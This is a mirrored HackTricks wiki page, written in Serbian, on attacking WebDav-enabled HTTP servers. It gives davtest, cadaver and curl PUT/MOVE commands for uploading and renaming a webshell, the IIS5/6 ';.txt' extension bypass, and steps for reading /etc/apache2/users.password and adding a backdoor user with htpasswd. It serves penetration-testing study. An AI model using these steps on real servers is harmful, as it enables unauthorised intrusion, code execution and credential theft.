mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
83 lines
3.6 KiB
Markdown
83 lines
3.6 KiB
Markdown
# WebDav
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
Kada se radi sa **HTTP serverom sa WebDav** omogućenim, moguće je **manipulisati datotekama** ako imate prave **akreditive**, obično proverene putem **HTTP Basic Authentication**. Sticanje kontrole nad takvim serverom često uključuje **upload i izvršavanje webshell-a**.
|
|
|
|
Pristup WebDav serveru obično zahteva **važeće akreditive**, pri čemu je [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) uobičajena metoda za njihovo sticanje.
|
|
|
|
Da biste prevazišli ograničenja na upload datoteka, posebno ona koja sprečavaju izvršavanje skripti na serveru, možete:
|
|
|
|
- **Upload**-ovati datoteke sa **izvršnim ekstenzijama** direktno ako nisu ograničene.
|
|
- **Preimenujte** uploadovane neizvršne datoteke (kao što su .txt) u izvršnu ekstenziju.
|
|
- **Kopirajte** uploadovane neizvršne datoteke, menjajući njihovu ekstenziju u onu koja je izvršna.
|
|
|
|
## DavTest
|
|
|
|
**Davtest** pokušava da **uploaduje nekoliko datoteka sa različitim ekstenzijama** i **proverava** da li je ekstenzija **izvršena**:
|
|
```bash
|
|
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
|
|
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
|
|
```
|
|
.png>)
|
|
|
|
Ovo ne znači da se **.txt** i **.html ekstenzije izvršavaju**. To znači da možete **pristupiti ovim datotekama** putem veba.
|
|
|
|
## Cadaver
|
|
|
|
Možete koristiti ovaj alat da **se povežete na WebDav** server i izvršite radnje (kao što su **upload**, **move** ili **delete**) **ručno**.
|
|
```
|
|
cadaver <IP>
|
|
```
|
|
## PUT zahtev
|
|
```
|
|
curl -T 'shell.txt' 'http://$ip'
|
|
```
|
|
## MOVE zahtev
|
|
```bash
|
|
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
|
|
```
|
|
## IIS5/6 WebDav ranjivost
|
|
|
|
Ova ranjivost je veoma interesantna. **WebDav** **ne dozvoljava** **upload** ili **preimenovanje** fajlova sa ekstenzijom **.asp**. Ali možete **obići** ovo **dodajući** na kraj imena **";.txt"** i fajl će biti **izvršen** kao da je .asp fajl (takođe možete **koristiti ".html" umesto ".txt"** ali **NE zaboravite ";"**).
|
|
|
|
Zatim možete **upload** vaš shell kao ".**txt" fajl** i **kopirati/premestiti ga u ".asp;.txt"** fajl. Pristupanjem tom fajlu preko web servera, biće **izvršen** (cadaver će reći da akcija premestanja nije uspela, ali jeste).
|
|
|
|
.png>)
|
|
|
|
## Post akreditivi
|
|
|
|
Ako je Webdav koristio Apache server, trebali biste pogledati konfigurisane sajtove u Apache-u. Obično:\
|
|
\_**/etc/apache2/sites-enabled/000-default**_
|
|
|
|
Unutra možete pronaći nešto poput:
|
|
```
|
|
ServerAdmin webmaster@localhost
|
|
Alias /webdav /var/www/webdav
|
|
<Directory /var/www/webdav>
|
|
DAV On
|
|
AuthType Digest
|
|
AuthName "webdav"
|
|
AuthUserFile /etc/apache2/users.password
|
|
Require valid-user
|
|
```
|
|
Kao što možete videti, postoje datoteke sa važećim **credentials** za **webdav** server:
|
|
```
|
|
/etc/apache2/users.password
|
|
```
|
|
Unutar ovog tipa datoteka naći ćete **korisničko ime** i **hash** lozinke. Ovo su akreditivi koje webdav server koristi za autentifikaciju korisnika.
|
|
|
|
Možete pokušati da ih **provalite**, ili da **dodate više** ako iz nekog razloga želite da **pristupite** **webdav** serveru:
|
|
```bash
|
|
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
|
|
```
|
|
Da biste proverili da li nove kredencijale rade, možete uraditi:
|
|
```bash
|
|
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
|
|
```
|
|
## Reference
|
|
|
|
- [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|